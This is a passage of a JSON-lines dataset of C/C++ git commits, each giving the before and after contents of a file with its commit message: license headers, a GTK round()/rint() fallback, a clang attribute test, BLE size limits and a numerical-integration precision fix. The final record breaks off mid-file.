{"commit":"4f75fcb3b8847d900a1f45b16e97c80d4e53ddbf","old_file":"src\/automaton.h","new_file":"src\/automaton.h","old_contents":"#ifndef _AUTOMATON_H_\n#define _AUTOMATON_H_\n\n\/*\n * type and function definitions for an automaton\n *\/\n\n#include \"event.h\"\n#include \"srpc\/srpc.h\"\n\ntypedef struct automaton Automaton;\n\nvoid          au_init(void);\nAutomaton     *au_create(char *program, RpcConnection rpc, char *ebuf);\nint           au_destroy(unsigned long id);\nvoid          au_publish(unsigned long id, Event *event);\nunsigned long au_id(Automaton *au);\nAutomaton     *au_au(unsigned long id);\nRpcConnection au_rpc(Automaton *au);\n\n#endif \/* _AUTOMATON_H_ *\/\n","new_contents":"#ifndef _AUTOMATON_H_\n#define _AUTOMATON_H_\n\/*\n * Copyright (c) 2013, Court of the University of Glasgow\n * All rights reserved.\n\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n\n * - Redistributions of source code must retain the above copyright notice,\n *   this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n *   this list of conditions and the following disclaimer in the documentation\n *   and\/or other materials provided with the distribution.\n *\n * - Neither the name of the University of Glasgow nor the names of its\n *   contributors may be used to endorse or promote products derived from this\n *   software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * type and function definitions for an automaton\n *\/\n\n#include \"event.h\"\n#include \"srpc\/srpc.h\"\n\ntypedef struct automaton Automaton;\n\nvoid          au_init(void);\nAutomaton     *au_create(char *program, RpcConnection rpc, char *ebuf);\nint           au_destroy(unsigned long id);\nvoid          au_publish(unsigned long id, Event *event);\nunsigned long au_id(Automaton *au);\nAutomaton     *au_au(unsigned long id);\nRpcConnection au_rpc(Automaton *au);\n\n#endif \/* _AUTOMATON_H_ *\/\n","subject":"Add BSD 3-clause open source header","message":"Add BSD 3-clause open source header\n","lang":"C","license":"bsd-3-clause","repos":"fergul\/Cache,jsventek\/Cache,fergul\/Cache,fergul\/Cache,jsventek\/Cache,jsventek\/Cache"}
{"commit":"4d8786007aab2ffe8dddc5b9ca440e484f8b9b9e","old_file":"AudioEndPointLibrary\/AudioEndPointLibrary.h","new_file":"AudioEndPointLibrary\/AudioEndPointLibrary.h","old_contents":"#include \"DefSoundDeviceState.h\"\n#include \"AudioEndPointLibraryImpl.h\"\n\n\n\/\/ This class is exported from the AudioEndPointLibrary.dll\nnamespace AudioEndPoint {\n\n\n    class AUDIOENDPOINTLIBRARY_API CAudioEndPointLibrary {\n    public:\n        ~CAudioEndPointLibrary();\n        HRESULT OnDeviceStateChanged(LPCWSTR pwstr_device_id, DWORD dw_new_state) const;\n        HRESULT OnDeviceAdded(LPCWSTR pwstr_device_id) const;\n        HRESULT OnDeviceRemoved(LPCWSTR pwstr_device_id) const;\n        HRESULT OnDefaultDeviceChanged(EDataFlow flow, ERole role, LPCWSTR pwstr_default_device_id) const;\n        static CAudioEndPointLibrary& GetInstance();\n        AudioDeviceList GetPlaybackDevices(DefSound::EDeviceState state) const;\n        AudioDeviceList GetRecordingDevices(DefSound::EDeviceState state) const;\n        HRESULT RegisterNotificationClient() const;\n        HRESULT UnRegisterNotificationClient() const;\n\n        AudioEndPointLibrarySignals* m_signals1() const\n        {\n            return m_signals;\n        }\n\n        __declspec(property(get = m_signals1)) AudioEndPointLibrarySignals* Signals;\n\n    private:\n        CAudioEndPointLibrary(void);\n        CAudioEndPointLibrary(CAudioEndPointLibrary const&) = delete;\n        void operator=(CAudioEndPointLibrary const&) = delete;\n        void Refresh() const;\n\n        struct AudioEndPointLibraryImpl;\n        struct AudioEndPointLibraryDevicesImpl;\n\n        AudioEndPointLibraryImpl* m_container;\n        AudioEndPointLibrarySignals* m_signals;\n        AudioEndPointLibraryDevicesImpl* m_devices_lists;\n    };\n\n\n}\n","new_contents":"#include \"DefSoundDeviceState.h\"\n#include \"AudioEndPointLibraryImpl.h\"\n\n\n\/\/ This class is exported from the AudioEndPointLibrary.dll\nnamespace AudioEndPoint {\n\n\n    class AUDIOENDPOINTLIBRARY_API CAudioEndPointLibrary {\n    public:\n        ~CAudioEndPointLibrary();\n        HRESULT OnDeviceStateChanged(LPCWSTR pwstr_device_id, DWORD dw_new_state) const;\n        HRESULT OnDeviceAdded(LPCWSTR pwstr_device_id) const;\n        HRESULT OnDeviceRemoved(LPCWSTR pwstr_device_id) const;\n        HRESULT OnDefaultDeviceChanged(EDataFlow flow, ERole role, LPCWSTR pwstr_default_device_id) const;\n        static CAudioEndPointLibrary& GetInstance();\n        AudioDeviceList GetPlaybackDevices(DefSound::EDeviceState state) const;\n        AudioDeviceList GetRecordingDevices(DefSound::EDeviceState state) const;\n\n        AudioEndPointLibrarySignals* m_signals1() const\n        {\n            return m_signals;\n        }\n\n        __declspec(property(get = m_signals1)) AudioEndPointLibrarySignals* Signals;\n\n    private:\n        CAudioEndPointLibrary(void);\n        CAudioEndPointLibrary(CAudioEndPointLibrary const&) = delete;\n        void operator=(CAudioEndPointLibrary const&) = delete;\n        void Refresh() const;\n        HRESULT RegisterNotificationClient() const;\n        HRESULT UnRegisterNotificationClient() const;\n\n        struct AudioEndPointLibraryImpl;\n        struct AudioEndPointLibraryDevicesImpl;\n\n        AudioEndPointLibraryImpl* m_container;\n        AudioEndPointLibrarySignals* m_signals;\n        AudioEndPointLibraryDevicesImpl* m_devices_lists;\n    };\n\n\n}\n","subject":"Make the registering and unregistering of the Notification private","message":"Make the registering and unregistering of the Notification private\n","lang":"C","license":"mit","repos":"Belphemur\/AudioEndPointLibrary,Belphemur\/AudioEndPointLibrary"}
{"commit":"db3fecc5b9a06af7b015b241b8ee735b65f786ea","old_file":"gtk\/fallback-c89.c","new_file":"gtk\/fallback-c89.c","old_contents":"","new_contents":"\/* GTK - The GIMP Toolkit\n * Copyright (C) 2011 Chun-wei Fan <fanc999@yahoo.com.tw>\n *\n * Author: Chun-wei Fan <fanc999@yahoo.com.tw>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n * Boston, MA 02111-1307, USA.\n *\/\n\n#include <math.h>\n \n\/* Workaround for round() for non-GCC\/non-C99 compilers *\/\n#ifndef HAVE_ROUND\nstatic inline double\nround (double x)\n{\n  if (x >= 0)\n    return floor (x + 0.5);\n  else\n    return ceil (x - 0.5);\n}\n#endif\n\n\/* Workaround for rint() for non-GCC\/non-C99 compilers *\/\n#ifndef HAVE_RINT\nstatic inline double\nrint (double x)\n{\n  if (ceil (x + 0.5) == floor (x + 0.5))\n  {\n    int a;\n    a = (int) ceil (x);\n    if (a % 2 == 0)\n      return ceil (x);\n    else\n      return floor (x);\n  }\n  else\n  {\n    if (x >= 0)\n      return floor (x + 0.5);\n    else\n      return ceil (x - 0.5);\n  }\n}\n#endif","subject":"Add fallback implemetation for rint()\/round()","message":"Add fallback implemetation for rint()\/round()\n\nAdd an implementation for rint() and round() for compilers that do not\ndefine one or both of them.  Note that this file should be included\nafter config.h was included.\n","lang":"C","license":"lgpl-2.1","repos":"davidgumberg\/gtk,davidgumberg\/gtk,chergert\/gtk,Sidnioulz\/SandboxGtk,ebassi\/gtk,Distrotech\/gtk2,davidt\/gtk,alexlarsson\/gtk,Lyude\/gtk-,Adamovskiy\/gtk,jessevdk\/gtk,chergert\/gtk,Lyude\/gtk-,bratsche\/gtk-,jadahl\/gtk,chergert\/gtk,chergert\/gtk,jigpu\/gtk,grubersjoe\/adwaita,jessevdk\/gtk,msteinert\/gtk,Adamovskiy\/gtk,Adamovskiy\/gtk,Sidnioulz\/SandboxGtk,jessevdk\/gtk,Sidnioulz\/SandboxGtk,jadahl\/gtk,Lyude\/gtk-,jadahl\/gtk,chergert\/gtk,bratsche\/gtk-,alexlarsson\/gtk,msteinert\/gtk,Lyude\/gtk-,Distrotech\/gtk2,Distrotech\/gtk2,Adamovskiy\/gtk,bratsche\/gtk-,alexlarsson\/gtk,jadahl\/gtk,bratsche\/gtk-,grubersjoe\/adwaita,Adamovskiy\/gtk,alexlarsson\/gtk,alexlarsson\/gtk,ahodesuka\/gtk,ahodesuka\/gtk,Lyude\/gtk-,msteinert\/gtk,jigpu\/gtk,davidt\/gtk,grubersjoe\/adwaita,Adamovskiy\/gtk,msteinert\/gtk,msteinert\/gtk,Sidnioulz\/SandboxGtk,jessevdk\/gtk,bratsche\/gtk-,grubersjoe\/adwaita,ahodesuka\/gtk,ebassi\/gtk,ebassi\/gtk,jigpu\/gtk,davidgumberg\/gtk,davidt\/gtk,ebassi\/gtk,Distrotech\/gtk2,Lyude\/gtk-,bratsche\/gtk-,davidgumberg\/gtk,grubersjoe\/adwaita,jessevdk\/gtk,chergert\/gtk,jigpu\/gtk,davidt\/gtk,Distrotech\/gtk2,davidt\/gtk,ahodesuka\/gtk,Lyude\/gtk-,alexlarsson\/gtk,Lyude\/gtk-,ahodesuka\/gtk,jigpu\/gtk,ahodesuka\/gtk,Distrotech\/gtk2,chergert\/gtk,davidt\/gtk,ebassi\/gtk,grubersjoe\/adwaita,jessevdk\/gtk,jessevdk\/gtk,davidgumberg\/gtk,davidgumberg\/gtk,jadahl\/gtk,jigpu\/gtk,grubersjoe\/adwaita,jadahl\/gtk,chergert\/gtk,jigpu\/gtk,Adamovskiy\/gtk,msteinert\/gtk,jigpu\/gtk,jadahl\/gtk,Sidnioulz\/SandboxGtk,Adamovskiy\/gtk,grubersjoe\/adwaita,alexlarsson\/gtk,ebassi\/gtk,ahodesuka\/gtk,ahodesuka\/gtk,jadahl\/gtk,davidgumberg\/gtk,davidgumberg\/gtk,alexlarsson\/gtk,Sidnioulz\/SandboxGtk"}
{"commit":"6cc425e21330a5fa456077def0fc727b92e6ecde","old_file":"test\/Sema\/attr-availability-ios.c","new_file":"test\/Sema\/attr-availability-ios.c","old_contents":"\/\/ RUN: %clang_cc1 \"-triple\" \"x86_64-apple-darwin3.0.0-iphoneos\" -fsyntax-only -verify %s\n\nvoid f0(int) __attribute__((availability(ios,introduced=2.0,deprecated=2.1)));\nvoid f1(int) __attribute__((availability(ios,introduced=2.1)));\nvoid f2(int) __attribute__((availability(ios,introduced=2.0,deprecated=3.0)));\nvoid f3(int) __attribute__((availability(ios,introduced=3.0)));\nvoid f4(int) __attribute__((availability(macosx,introduced=10.1,deprecated=10.3,obsoleted=10.5), availability(ios,introduced=2.0,deprecated=2.1,obsoleted=3.0))); \/\/ expected-note{{explicitly marked unavailable}}\n\nvoid test() {\n  f0(0); \/\/ expected-warning{{'f0' is deprecated: first deprecated in iOS 2.1}}\n  f1(0);\n  f2(0); \/\/ expected-warning{{'f2' is deprecated: first deprecated in iOS 3.0}}\n  f3(0);\n  f4(0); \/\/ expected-error{{f4' is unavailable: obsoleted in iOS 3.0}}\n}\n","new_contents":"\/\/ RUN: %clang_cc1 \"-triple\" \"x86_64-apple-darwin3.0.0-iphoneos\" -fsyntax-only -verify %s\n\nvoid f0(int) __attribute__((availability(ios,introduced=2.0,deprecated=2.1)));\nvoid f1(int) __attribute__((availability(ios,introduced=2.1)));\nvoid f2(int) __attribute__((availability(ios,introduced=2.0,deprecated=3.0)));\nvoid f3(int) __attribute__((availability(ios,introduced=3.0)));\nvoid f4(int) __attribute__((availability(macosx,introduced=10.1,deprecated=10.3,obsoleted=10.5), availability(ios,introduced=2.0,deprecated=2.1,obsoleted=3.0))); \/\/ expected-note{{explicitly marked unavailable}}\n\nvoid f5(int) __attribute__((availability(ios,introduced=2.0))) __attribute__((availability(ios,deprecated=3.0)));\nvoid f6(int) __attribute__((availability(ios,deprecated=3.0)));\nvoid f6(int) __attribute__((availability(ios,introduced=2.0)));\n\nvoid test() {\n  f0(0); \/\/ expected-warning{{'f0' is deprecated: first deprecated in iOS 2.1}}\n  f1(0);\n  f2(0); \/\/ expected-warning{{'f2' is deprecated: first deprecated in iOS 3.0}}\n  f3(0);\n  f4(0); \/\/ expected-error{{f4' is unavailable: obsoleted in iOS 3.0}}\n  f5(0); \/\/ expected-warning{{'f5' is deprecated: first deprecated in iOS 3.0}}\n  f6(0); \/\/ expected-warning{{'f6' is deprecated: first deprecated in iOS 3.0}}\n}\n","subject":"Test attribute merging for the availability attribute.","message":"Test attribute merging for the availability attribute.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@128334 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"fe23dd2429da4b8e71b110d517370358256df785","old_file":"You-DataStore\/internal\/operation.h","new_file":"You-DataStore\/internal\/operation.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_OPERATION_H_\n#define YOU_DATASTORE_INTERNAL_OPERATION_H_\n\n#include <unordered_map>\n#include \"..\/ds_task_typedefs.h\"\n\nnamespace You {\nnamespace DataStore {\n\n\/\/\/ A pure virtual class of operations to be put into transaction stack\nclass IOperation {\npublic:\n\t\/\/\/ The constructor\n\t\/\/\/ \\param stask the serialized task the operation need to work with\n\texplicit IOperation(SerializedTask& stask);\n\tvirtual ~IOperation();\n\n\t\/\/\/ Executes the operation\n\tvirtual void run() = 0;\n};\n\n}   \/\/ namespace DataStore\n}   \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_INTERNAL_OPERATION_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_OPERATION_H_\n#define YOU_DATASTORE_INTERNAL_OPERATION_H_\n\n#include <unordered_map>\n#include \"..\/ds_task_typedefs.h\"\n\nnamespace You {\nnamespace DataStore {\n\n\/\/\/ A pure virtual class of operations to be put into transaction stack\nclass IOperation {\npublic:\n\t\/\/\/ The constructor\n\t\/\/\/ \\param stask the serialized task the operation need to work with\n\texplicit IOperation(SerializedTask& stask);\n\tvirtual ~IOperation();\n\n\t\/\/\/ Executes the operation\n\tvirtual bool run() = 0;\nprotected:\n\tTaskId taskId;\n\tSerializedTask task;\n};\n\n}   \/\/ namespace DataStore\n}   \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_INTERNAL_OPERATION_H_\n","subject":"Change return value of run to bool","message":"Change return value of run to bool\n\nConflicts:\n\tYou-DataStore\/internal\/operation.h\n\tYou-DataStore\/internal\/operations\/post_operation.h\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"f3b877cba4ab0ffdfc553f65547305698ef16391","old_file":"src\/BLEDeviceLimits.h","new_file":"src\/BLEDeviceLimits.h","old_contents":"\/\/ Copyright (c) Sandeep Mistry. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE file in the project root for full license information.\n\n#ifndef _BLE_LIMITS_H_\n#define _BLE_LIMITS_H_\n\n#include <stdlib.h>\n\n#ifndef __AVR__\n\n#ifndef max\n#define max(a,b) (((a) > (b)) ? (a) : (b))\n#endif\n\n#ifndef min\n#define min(a,b) (((a) < (b)) ? (a) : (b))\n#endif\n\n#endif\n\n#if defined(NRF51) || defined(__RFduino__)\n\n#define BLE_ADVERTISEMENT_DATA_MAX_VALUE_LENGTH    26\n#define BLE_SCAN_DATA_MAX_VALUE_LENGTH             29\n#define BLE_EIR_DATA_MAX_VALUE_LENGTH              29\n#define BLE_ATTRIBUTE_MAX_VALUE_LENGTH             20\n#define BLE_REMOTE_ATTRIBUTE_MAX_VALUE_LENGTH      22\n\n#else\n\n#define BLE_ADVERTISEMENT_DATA_MAX_VALUE_LENGTH    20\n#define BLE_SCAN_DATA_MAX_VALUE_LENGTH             20\n#define BLE_EIR_DATA_MAX_VALUE_LENGTH              20\n#define BLE_ATTRIBUTE_MAX_VALUE_LENGTH             20\n#define BLE_REMOTE_ATTRIBUTE_MAX_VALUE_LENGTH      22\n\n#endif\n\n#endif\n","new_contents":"\/\/ Copyright (c) Sandeep Mistry. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE file in the project root for full license information.\n\n#ifndef _BLE_LIMITS_H_\n#define _BLE_LIMITS_H_\n\n#include <stdlib.h>\n\n#ifndef __AVR__\n\n#ifndef max\n#define max(a,b) (((a) > (b)) ? (a) : (b))\n#endif\n\n#ifndef min\n#define min(a,b) (((a) < (b)) ? (a) : (b))\n#endif\n\n#endif\n\n#if defined(NRF51) || defined(NRF52) || defined(__RFduino__)\n\n#define BLE_ADVERTISEMENT_DATA_MAX_VALUE_LENGTH    26\n#define BLE_SCAN_DATA_MAX_VALUE_LENGTH             29\n#define BLE_EIR_DATA_MAX_VALUE_LENGTH              29\n#define BLE_ATTRIBUTE_MAX_VALUE_LENGTH             20\n#define BLE_REMOTE_ATTRIBUTE_MAX_VALUE_LENGTH      22\n\n#else\n\n#define BLE_ADVERTISEMENT_DATA_MAX_VALUE_LENGTH    20\n#define BLE_SCAN_DATA_MAX_VALUE_LENGTH             20\n#define BLE_EIR_DATA_MAX_VALUE_LENGTH              20\n#define BLE_ATTRIBUTE_MAX_VALUE_LENGTH             20\n#define BLE_REMOTE_ATTRIBUTE_MAX_VALUE_LENGTH      22\n\n#endif\n\n#endif\n","subject":"Fix length issues with nRF52","message":"Fix length issues with nRF52\n","lang":"C","license":"mit","repos":"sandeepmistry\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral"}
{"commit":"79dca367dc10e9598973895f6e22350b2d2f32b4","old_file":"util.h","new_file":"util.h","old_contents":"\/*\n  This file is part of ethash.\n\n  ethash is free software: you can redistribute it and\/or modify\n  it under the terms of the GNU General Public License as published by\n  the Free Software Foundation, either version 3 of the License, or\n  (at your option) any later version.\n\n  ethash is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n  GNU General Public License for more details.\n\n  You should have received a copy of the GNU General Public License\n  along with ethash.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file util.h\n * @author Tim Hughes <tim@twistedfury.com>\n * @date 2015\n *\/\n#pragma once\n#include <stdint.h>\n#include \"compiler.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef _MSC_VER\nvoid debugf(char const* str, ...);\n#else\n#define debugf printf\n#endif\n\nstatic inline uint32_t min_u32(uint32_t a, uint32_t b)\n{\n\treturn a < b ? a : b;\n}\n\nstatic inline uint32_t clamp_u32(uint32_t x, uint32_t min_, uint32_t max_)\n{\n\treturn x < min_ ? min_ : (x > max_ ? max_ : x);\n}\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/*\n  This file is part of ethash.\n\n  ethash is free software: you can redistribute it and\/or modify\n  it under the terms of the GNU General Public License as published by\n  the Free Software Foundation, either version 3 of the License, or\n  (at your option) any later version.\n\n  ethash is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n  GNU General Public License for more details.\n\n  You should have received a copy of the GNU General Public License\n  along with ethash.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file util.h\n * @author Tim Hughes <tim@twistedfury.com>\n * @date 2015\n *\/\n#pragma once\n#include <stdint.h>\n#include \"compiler.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/\/#ifdef _MSC_VER\nvoid debugf(char const* str, ...);\n\/\/#else\n\/\/#define debugf printf\n\/\/#endif\n\nstatic inline uint32_t min_u32(uint32_t a, uint32_t b)\n{\n\treturn a < b ? a : b;\n}\n\nstatic inline uint32_t clamp_u32(uint32_t x, uint32_t min_, uint32_t max_)\n{\n\treturn x < min_ ? min_ : (x > max_ ? max_ : x);\n}\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Comment out conflicting debug macro","message":"Comment out conflicting debug macro\n","lang":"C","license":"mit","repos":"LefterisJP\/webthree-umbrella,programonauta\/webthree-umbrella,joeldo\/cpp-ethereum,gluk256\/cpp-ethereum,yann300\/cpp-ethereum,eco\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,yann300\/cpp-ethereum,karek314\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,vaporry\/cpp-ethereum,eco\/cpp-ethereum,expanse-project\/cpp-expanse,Sorceror32\/go-get--u-github.com-tools-godep,ethers\/cpp-ethereum,vaporry\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,joeldo\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,karek314\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,expanse-org\/cpp-expanse,PaulGrey30\/go-get--u-github.com-tools-godep,programonauta\/webthree-umbrella,ethers\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,smartbitcoin\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,eco\/cpp-ethereum,smartbitcoin\/cpp-ethereum,d-das\/cpp-ethereum,ethers\/cpp-ethereum,xeddmc\/cpp-ethereum,karek314\/cpp-ethereum,expanse-project\/cpp-expanse,d-das\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,xeddmc\/cpp-ethereum,LefterisJP\/cpp-ethereum,gluk256\/cpp-ethereum,expanse-project\/cpp-expanse,joeldo\/cpp-ethereum,vaporry\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,PaulGrey30\/go-get--u-github.com-tools-godep,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,vaporry\/cpp-ethereum,LefterisJP\/webthree-umbrella,yann300\/cpp-ethereum,anthony-cros\/cpp-ethereum,johnpeter66\/ethminer,expanse-project\/cpp-expanse,smartbitcoin\/cpp-ethereum,expanse-org\/cpp-expanse,expanse-project\/cpp-expanse,d-das\/cpp-ethereum,LefterisJP\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,anthony-cros\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,smartbitcoin\/cpp-ethereum,eco\/cpp-ethereum,xeddmc\/cpp-ethereum,joeldo\/cpp-ethereum,eco\/cpp-ethereum,yann300\/cpp-ethereum,anthony-cros\/cpp-ethereum,anthony-cros\/cpp-ethereum,d-das\/cpp-ethereum,LefterisJP\/cpp-ethereum,xeddmc\/cpp-ethereum,yann300\/cpp-ethereum,LefterisJP\/cpp-ethereum,expanse-org\/cpp-expanse,Sorceror32\/go-get--u-github.com-tools-godep,ethers\/cpp-ethereum,gluk256\/cpp-ethereum,vaporry\/webthree-umbrella,gluk256\/cpp-ethereum,LefterisJP\/cpp-ethereum,eco\/cpp-ethereum,johnpeter66\/ethminer,gluk256\/cpp-ethereum,ethers\/cpp-ethereum,karek314\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,joeldo\/cpp-ethereum,arkpar\/webthree-umbrella,xeddmc\/cpp-ethereum,karek314\/cpp-ethereum,LefterisJP\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,smartbitcoin\/cpp-ethereum,chfast\/webthree-umbrella,vaporry\/cpp-ethereum,d-das\/cpp-ethereum,vaporry\/cpp-ethereum,expanse-project\/cpp-expanse,smartbitcoin\/cpp-ethereum,xeddmc\/cpp-ethereum,expanse-org\/cpp-expanse,yann300\/cpp-ethereum,anthony-cros\/cpp-ethereum,gluk256\/cpp-ethereum,expanse-org\/cpp-expanse,karek314\/cpp-ethereum,d-das\/cpp-ethereum,expanse-org\/cpp-expanse,joeldo\/cpp-ethereum,johnpeter66\/ethminer,ethers\/cpp-ethereum,anthony-cros\/cpp-ethereum"}
{"commit":"20669c2fbecaa850c3c5a2035fd068ef968f8b25","old_file":"coursework\/assignment2\/integral_c.c","new_file":"coursework\/assignment2\/integral_c.c","old_contents":"#include <stdio.h>\n#include <math.h>\n\nfloat f(float x) {\n    return 1\/x;\n}\n\nint main(int argc, char *argv[]) {\n\n    \/\/ Integral (1 to 6) of 1\/x\n    float integral;\n    float a = 1, b = 6;\n    int n = 2000;\n    float h;\n    float x;\n\n    h = (b-a)\/n;\n\n    integral = (f(a) + f(b)) \/ 2.0;\n    x = a;\n\n    for (int i = 1; i <= n - 1; i++) {\n        x = x + h;\n        integral = integral + f(x);\n    }\n\n    integral = integral * h;\n\n    float expected = 1.79175946923;\n    printf(\"Integral (%.0f to %.0f) of 1\/x \\n\\n\", a, b);\n    printf(\"Expected  result  = %.11f\\n\", expected);\n    printf(\"Estimated result  = %.11f\\n\", integral);\n    printf(\"                    -------------\\n\");\n\n    float difference = expected - integral;\n    difference = fabsf(difference); \/\/ absolute value (no minus sign)\n    printf(\"Difference        = %.11f\\n\", difference);\n\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <math.h>\n\ndouble f(double x) { return 1 \/ x; }\n\nint main(int argc, char *argv[]) {\n\n    \/\/ Integral (1 to 6) of 1\/x\n    double integral;\n    int a = 1, b = 6;\n    int n = 2000;\n    double h;\n    double x;\n\n    h = (double)(b-a)\/n;\n\n    integral = (f(a) + f(b)) \/ 2.0;\n    x = a;\n\n    for (int i = 1; i < n; i++) {\n        x = x + h;\n        integral = integral + f(x);\n    }\n\n    integral = integral * h;\n\n    double expected = 1.79175946923;\n    printf(\"Integral (%d to %d) of 1\/x \\n\\n\", a, b);\n    printf(\"Expected  result  = %.11f\\n\", expected);\n    printf(\"Estimated result  = %.11f\\n\", integral);\n    printf(\"                    -------------\\n\");\n\n    double difference = expected - integral;\n    difference = fabsf(difference); \/\/ absolute value (no minus sign)\n    printf(\"Difference        = %.11f\\n\", difference);\n\n    return 0;\n}\n","subject":"Use double instead of float","message":"Use double instead of float\n\nFloat was not able to maintain data precision\n","lang":"C","license":"mit","repos":"arthurazs\/uff-lpp,arthurazs\/uff-lpp,arthurazs\/uff-lpp"}
{"commit":"aa22b1c3df494da25286a787c9c5bfa6fa37c468","old_file":"cpp\/cpp_odbc\/Library\/cpp_odbc\/level2\/u16string_buffer.h","new_file":"cpp\/cpp_odbc\/Library\/cpp_odbc\/level2\/u16string_buffer.h","old_contents":"#pragma once\n\n#include <string>\n#include <vector>\n#include <sqltypes.h>\n\nnamespace cpp_odbc { namespace level2 {\n\n\/**\n * @brief This class represents a buffer for u16strings for use with the unixodbc C API.\n *\/\nclass u16string_buffer {\npublic:\n    \/**\n     * @brief Constructs a new string buffer with the given capacity, i.e., maximum size\n     * @param capacity Capacity of the buffer\n     *\/\n    u16string_buffer(signed short int capacity);\n\n    \/**\n     * @brief Retrieve the capacity of the buffer (in characters) in a format suitable for passing\n     *        to unixodbc API functions.\n     *\/\n    signed short int capacity() const;\n\n    \/**\n     * @brief Retrieve a pointer to the internal buffer suitable for passing to unixodbc API functions.\n     *        This buffer contains the actual string data. Do not exceed the allocated capacity!\n     *\/\n    SQLWCHAR * data_pointer();\n\n    \/**\n     * @brief Retrieve a pointer to a size buffer suitable for passing to unixodbc API functions.\n     *        This buffer contains the number of significant bytes in the buffer returned by\n     *        data_pointer().\n     *\/\n    signed short int * size_pointer();\n\n    \/**\n     * @brief Conversion operator. Retrieve the buffered data as a string. Bad things will happen if\n     *        the value of size_pointer is larger than the capacity!\n     *\/\n    operator std::u16string() const;\n\nprivate:\n    std::vector<SQLWCHAR> data_;\n    signed short int used_size_;\n};\n\n\n} }\n","new_contents":"#pragma once\n\n#include 